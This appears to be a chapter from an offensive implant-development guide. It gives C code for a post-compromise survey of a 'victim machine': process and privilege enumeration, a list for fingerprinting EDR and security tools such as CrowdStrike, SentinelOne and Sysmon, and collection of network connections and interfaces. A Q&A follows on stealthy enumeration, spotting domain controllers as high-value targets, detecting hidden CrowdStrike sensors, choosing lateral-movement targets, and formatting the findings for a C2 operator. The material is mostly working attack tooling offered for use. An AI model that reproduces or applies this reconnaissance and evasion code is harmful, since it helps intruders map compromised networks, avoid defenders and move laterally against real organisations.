Chapter 81

Process and System Intelligence

Before you can act on a victim machine — whether pivoting, privilege escalating, or deciding which lateral movement path to take — you need to understand what you're working with. System intelligence gathering maps the full environment: running processes, installed software, network configuration, logged-in users, domain membership, security tools, and the overall topology of the network from the victim's vantage point. This chapter covers the implementation of a comprehensive system survey that produces an actionable intelligence report in a single capability execution.

Process Survey

/* system_intel.c — Comprehensive system survey */

#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#include <iphlpapi.h>
#include <lm.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "netapi32.lib")

typedef struct {
    DWORD  pid;
    DWORD  ppid;
    char   name[MAX_PATH];
    char   full_path[MAX_PATH];
    char   user[256];
    BOOL   is_elevated;
    BOOL   is_protected;
    DWORD64 base_addr;
    SIZE_T  working_set_bytes;
} ProcessEntry;

/* Resolve a process token to the username that owns it */
static void get_process_owner(HANDLE hProc, char *user_out, DWORD user_sz) {
    HANDLE hToken = NULL;
    if (!OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) {
        snprintf(user_out, user_sz, "(no access)");
        return;
    }
    
    DWORD ti_sz = 0;
    GetTokenInformation(hToken, TokenUser, NULL, 0, &ti_sz);
    TOKEN_USER *ti = (TOKEN_USER*)alloca(ti_sz);
    
    if (GetTokenInformation(hToken, TokenUser, ti, ti_sz, &ti_sz)) {
        char name[128] = {0}, domain[128] = {0};
        DWORD name_sz = sizeof(name), dom_sz = sizeof(domain);
        SID_NAME_USE use;
        LookupAccountSidA(NULL, ti->User.Sid, name, &name_sz, domain, &dom_sz, &use);
        snprintf(user_out, user_sz, "%s\\%s", domain, name);
    }
    CloseHandle(hToken);
}

/* Check if process is elevated (running as admin/SYSTEM) */
static BOOL is_process_elevated(HANDLE hProc) {
    HANDLE hToken = NULL;
    if (!OpenProcessToken(hProc, TOKEN_QUERY, &hToken)) return FALSE;
    
    TOKEN_ELEVATION elev = {0};
    DWORD returned = 0;
    BOOL elevated = FALSE;
    if (GetTokenInformation(hToken, TokenElevation, &elev, sizeof(elev), &returned))
        elevated = elev.TokenIsElevated;
    
    CloseHandle(hToken);
    return elevated;
}

/* Survey all running processes */
BOOL survey_processes(ProcessEntry **entries_out, DWORD *count_out) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;

    /* Count first */
    DWORD count = 0;
    PROCESSENTRY32W pe = {.dwSize = sizeof(pe)};
    if (Process32FirstW(hSnap, &pe)) {
        do { count++; } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);

    ProcessEntry *entries = (ProcessEntry*)VirtualAlloc(NULL,
        count * sizeof(ProcessEntry), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!entries) return FALSE;

    hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe.dwSize = sizeof(pe);
    DWORD idx = 0;

    if (Process32FirstW(hSnap, &pe)) {
        do {
            ProcessEntry *e = &entries[idx++];
            e->pid  = pe.th32ProcessID;
            e->ppid = pe.th32ParentProcessID;
            WideCharToMultiByte(CP_UTF8, 0, pe.szExeFile, -1,
                                e->name, sizeof(e->name), NULL, NULL);

            HANDLE hProc = OpenProcess(
                PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, e->pid);
            if (hProc) {
                WCHAR path[MAX_PATH] = {0};
                DWORD path_sz = MAX_PATH;
                QueryFullProcessImageNameW(hProc, 0, path, &path_sz);
                WideCharToMultiByte(CP_UTF8, 0, path, -1,
                                    e->full_path, sizeof(e->full_path), NULL, NULL);
                
                get_process_owner(hProc, e->user, sizeof(e->user));
                e->is_elevated = is_process_elevated(hProc);
                
                /* Working set (RAM used) */
                PROCESS_MEMORY_COUNTERS pmc = {sizeof(pmc)};
                GetProcessMemoryInfo(hProc, &pmc, sizeof(pmc));
                e->working_set_bytes = pmc.WorkingSetSize;
                
                CloseHandle(hProc);
            } else {
                snprintf(e->user, sizeof(e->user), "(access denied)");
            }
        } while (Process32NextW(hSnap, &pe) && idx < count);
    }
    CloseHandle(hSnap);

    *entries_out = entries;
    *count_out   = idx;
    return TRUE;
}

/* Identify installed security tools from process list */
void identify_security_tools(ProcessEntry *procs, DWORD count) {
    static const char *edr_processes[] = {
        "MsMpEng.exe",     /* Windows Defender */
        "CylanceSvc.exe",  /* Cylance */
        "cb.exe", "CbDefense.exe", /* CarbonBlack */
        "csagent.exe", "falcond.exe", /* CrowdStrike Falcon */
        "xagt.exe",        /* FireEye/Trellix xAgent */
        "SentinelAgent.exe", /* SentinelOne */
        "AAWTray.exe",     /* Ad-Aware */
        "sfc.exe",         /* Symantec (SFC) */
        "WRSA.exe",        /* Webroot */
        "bdagent.exe",     /* Bitdefender */
        "mbam.exe",        /* Malwarebytes */
        "Sysmon.exe", "Sysmon64.exe", /* Sysmon */
        "procexp.exe", "procexp64.exe", /* Sysinternals Process Explorer */
        "Wireshark.exe", "dumpcap.exe", /* Packet capture */
        NULL
    };
    
    printf("\n[SECURITY TOOLS DETECTED]\n");
    BOOL found_any = FALSE;
    for (DWORD i = 0; i < count; i++) {
        for (int j = 0; edr_processes[j]; j++) {
            if (_stricmp(procs[i].name, edr_processes[j]) == 0) {
                printf("  [!] %s (PID %lu, owner: %s, elevated: %s)\n",
                       procs[i].name, procs[i].pid, procs[i].user,
                       procs[i].is_elevated ? "YES" : "no");
                found_any = TRUE;
            }
        }
    }
    if (!found_any) printf("  None detected\n");
}

Network Configuration Survey

/* Network interface, routing, and active connection survey */

void survey_network(void) {
    printf("\n[NETWORK CONFIGURATION]\n");
    
    /* Active TCP connections — equivalent to netstat -an */
    MIB_TCPTABLE2 *tcp_table = NULL;
    DWORD tcp_size = 0;
    GetTcpTable2(NULL, &tcp_size, FALSE);
    tcp_table = (MIB_TCPTABLE2*)alloca(tcp_size);
    
    if (GetTcpTable2(tcp_table, &tcp_size, TRUE) == NO_ERROR) {
        printf("  Active TCP connections: %lu\n", tcp_table->dwNumEntries);
        for (DWORD i = 0; i < tcp_table->dwNumEntries; i++) {
            MIB_TCPROW2 *row = &tcp_table->table[i];
            
            /* Only ESTABLISHED connections are interesting for lateral movement */
            if (row->dwState != MIB_TCP_STATE_ESTAB) continue;
            
            struct in_addr local_addr  = {.S_un.S_addr = row->dwLocalAddr};
            struct in_addr remote_addr = {.S_un.S_addr = row->dwRemoteAddr};
            WORD local_port  = ntohs((WORD)row->dwLocalPort);
            WORD remote_port = ntohs((WORD)row->dwRemotePort);
            
            char proc_name[MAX_PATH] = {0};
            HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, row->dwOwningPid);
            if (hProc) {
                WCHAR path[MAX_PATH] = {0}; DWORD sz = MAX_PATH;
                QueryFullProcessImageNameW(hProc, 0, path, &sz);
                WideCharToMultiByte(CP_UTF8, 0, path, -1, proc_name, sizeof(proc_name), NULL, NULL);
                CloseHandle(hProc);
            }

            printf("  TCP %s:%u → %s:%u [%s]\n",
                   inet_ntoa(local_addr), local_port,
                   inet_ntoa(remote_addr), remote_port,
                   proc_name[0] ? strrchr(proc_name,'\\') ? strrchr(proc_name,'\\')+1 : proc_name : "?");
        }
    }

    /* Network interfaces */
    ULONG buf_size = 16384;
    IP_ADAPTER_ADDRESSES *adapters = (IP_ADAPTER_ADDRESSES*)alloca(buf_size);
    if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, NULL,
                              adapters, &buf_size) == NO_ERROR) {
        printf("\n  Network Interfaces:\n");
        for (IP_ADAPTER_ADDRESSES *a = adapters; a; a = a->Next) {
            if (a->OperStatus != IfOperStatusUp) continue;
            
            char name[256] = {0};
            WideCharToMultiByte(CP_UTF8, 0, a->FriendlyName, -1, name, sizeof(name), NULL, NULL);
            
            printf("  [%s] %s\n", name,
                   a->IfType == IF_TYPE_ETHERNET_CSMACD ? "Ethernet" :
                   a->IfType == IF_TYPE_IEEE80211       ? "WiFi" :
                   a->IfType == IF_TYPE_PPP              ? "VPN/PPP" : "Other");
            
            for (IP_ADAPTER_UNICAST_ADDRESS *u = a->FirstUnicastAddress; u; u = u->Next) {
                char ip[64] = {0};
                DWORD ip_sz = sizeof(ip);
                WSAAddressToStringA(u->Address.lpSockaddr, u->Address.iSockaddrLength,
                                    NULL, ip, &ip_sz);
                printf("       IP: %s\n", ip);
            }
        }
    }
}

/* Full system survey — call once, report everything */
void run_full_system_survey(void) {
    SYSTEMTIME st = {0};
    GetLocalTime(&st);
    printf("=== SYSTEM SURVEY (%04d-%02d-%02d %02d:%02d:%02d) ===\n\n",
           st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);

    /* Basic system info */
    char hostname[256] = {0};
    DWORD sz = sizeof(hostname);
    GetComputerNameExA(ComputerNameDnsFullyQualified, hostname, &sz);
    printf("[SYSTEM] Hostname: %s\n", hostname);

    char username[256] = {0};
    sz = sizeof(username);
    GetUserNameA(username, &sz);
    printf("[SYSTEM] User: %s\n", username);

    /* Domain info */
    NETSETUP_JOIN_STATUS join_status;
    LPWSTR netbios_domain = NULL;
    NetGetJoinInformation(NULL, &netbios_domain, &join_status);
    if (join_status == NetSetupDomainName && netbios_domain) {
        char domain[256] = {0};
        WideCharToMultiByte(CP_UTF8, 0, netbios_domain, -1, domain, sizeof(domain), NULL, NULL);
        printf("[SYSTEM] Domain: %s (domain-joined)\n", domain);
        NetApiBufferFree(netbios_domain);
    } else {
        printf("[SYSTEM] Domain: (workgroup / not domain-joined)\n");
    }

    /* OS version */
    OSVERSIONINFOEXW osv = {.dwOSVersionInfoSize = sizeof(osv)};
    RtlGetVersion(&osv);
    printf("[SYSTEM] OS: Windows %lu.%lu Build %lu%s\n",
           osv.dwMajorVersion, osv.dwMinorVersion, osv.dwBuildNumber,
           osv.szCSDVersion[0] ? " " : "");

    /* Installed RAM */
    MEMORYSTATUSEX mem = {.dwLength = sizeof(mem)};
    GlobalMemoryStatusEx(&mem);
    printf("[SYSTEM] RAM: %llu MB total, %llu MB free\n",
           mem.ullTotalPhys / (1024*1024),
           mem.ullAvailPhys / (1024*1024));

    /* Process survey */
    ProcessEntry *procs = NULL;
    DWORD proc_count = 0;
    if (survey_processes(&procs, &proc_count)) {
        printf("\n[PROCESSES] %lu total running\n", proc_count);
        for (DWORD i = 0; i < proc_count; i++) {
            if (procs[i].is_elevated)
                printf("  [+] %s (PID %lu, %s, %zu MB) [ELEVATED]\n",
                       procs[i].name, procs[i].pid, procs[i].user,
                       procs[i].working_set_bytes / (1024*1024));
        }
        identify_security_tools(procs, proc_count);
        VirtualFree(procs, 0, MEM_RELEASE);
    }

    survey_network();
}

Questions & Answers

How do you enumerate installed software without querying the registry visibly?

The standard approach reads HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ — a registry key that lists every installed application with its name, version, and install path. This is exactly what "Apps & Features" in Settings reads. From your agent, query this key with RegOpenKeyExA and RegEnumKeyExA to iterate subkeys. Each subkey's DisplayName value is the application name. This isn't stealthy in the traditional sense — reading registry keys isn't inherently suspicious — but it can appear in registry API monitoring logs. Alternative: enumerate the filesystem directly. %PROGRAMFILES%, %PROGRAMFILES(X86)%, and %LOCALAPPDATA%\Programs\ contain most installed applications as directories. The directory name usually matches the software name. For a stealth-first approach: take a snapshot of %PROGRAMFILES% directory listing rather than querying the registry. The combination of both approaches gives you installed system software (registry) + user-installed software (LocalAppData) + portable apps (manual filesystem scan of a few common locations).

How do you determine if the victim machine is a domain controller or an important server?

Check the machine's role: NetGetJoinInformation tells you if it's domain-joined. For the DC question: DsGetDcNameA(NULL, NULL, NULL, NULL, DS_IS_FLAT_NAME, &dcinfo) returns information about the domain controller — if this machine IS the DC, the returned DcName will match the local hostname. More directly: read the registry key HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductType: "WinNT" = workstation, "ServerNT" = standalone server, "LanmanNT" = domain controller. For important server signals: check installed roles (IIS = web server, MSSQL/MySQL processes = database server, Exchange processes = email server). Check listening services: port 443 = web, 1433 = SQL Server, 25/465/587 = mail, 389/636 = LDAP/domain, 88 = Kerberos (definitely a DC). A machine listening on port 389 (LDAP) and 88 (Kerberos) that has its ProductType set to "LanmanNT" is almost certainly a domain controller — the highest-value target for lateral movement and privilege escalation.

How do you detect CrowdStrike Falcon, which hides its processes?

CrowdStrike's CSAgent process (the kernel sensor) runs at ring 0 level and its user-mode components (cs.exe, csagent.exe) may not appear in a standard CreateToolhelp32Snapshot process list if Falcon is actively hiding from enumeration. More reliable detection methods: (1) Service enumeration: OpenSCManagerA + EnumServicesStatusExA — CrowdStrike registers a "CrowdStrike Falcon Sensor Service" (service name: CSFalconService or similar). Services are harder to hide than processes. (2) Driver enumeration: EnumDeviceDrivers or NtQuerySystemInformation(SystemModuleInformation) — Falcon loads its kernel driver (csagent.sys or similar). Kernel modules are enumerable from ring 3 even if process lists are spoofed. (3) Registry indicators: HKLM\SYSTEM\CurrentControlSet\Services\CSFalconService. (4) File presence: C:\Windows\System32\drivers\CrowdStrike\ directory existence. (5) Named pipe: CrowdStrike uses named pipes for IPC — enumerate named pipes via \\\\.\\pipe\\ and look for Falcon-related names. This approach — checking services, drivers, files, and named pipes — defeats process hiding without requiring visibility into the process list.

What network information tells you the most about lateral movement opportunities?

Priority network intelligence: (1) ARP table (GetIpNetTable2): every IP address the machine has communicated with recently, mapped to MAC addresses. This reveals all local network neighbors that are actively reachable — your lateral movement target list. (2) Active TCP connections (GetTcpTable2): shows what servers this machine connects to — RDP sessions (port 3389 outbound = this machine RDPs to others), SMB connections (port 445), database connections (1433 = SQL Server, 3306 = MySQL). Each established connection is a trust relationship you can potentially abuse. (3) Routing table (GetIpForwardTable2): reveals network segments the machine can reach, including VPN-added routes (a VPN client adds routes to internal subnets — those subnets are your expanded target space). (4) DNS cache (DnsGetCacheDataTable or "ipconfig /displaydns" output): contains recently resolved hostnames — internal servers the user's machine has looked up recently. These hostnames reveal the internal infrastructure naming convention and which systems are in active use.

How should the system survey output be formatted for maximum operator utility?

The system survey is high-signal data that the operator needs to act on quickly. Format it as a structured report with clear sections, not raw dumps: (1) Executive summary first: hostname, username, OS version, domain membership, elevation status — one line each. Operator sees the most critical context immediately. (2) Security posture section: detected EDR products, Sysmon presence, logging level (is Windows event log auditing enabled?), network monitoring indicators. This determines how carefully the operator needs to move. (3) Lateral movement opportunities: domain-joined machine's domain controller name, network segments reachable, ARP table hosts. (4) Process list filtered to interesting entries only: elevated processes, security tools, interesting applications. Not a 200-line dump of every svchost.exe instance. (5) Active connections grouped by type: inbound listeners, outbound connections to servers, VPN connections. On the C2 side, parse this structured report into a searchable database so the operator can query across multiple compromised systems: "show me all machines with CrowdStrike installed" or "show me all domain controllers."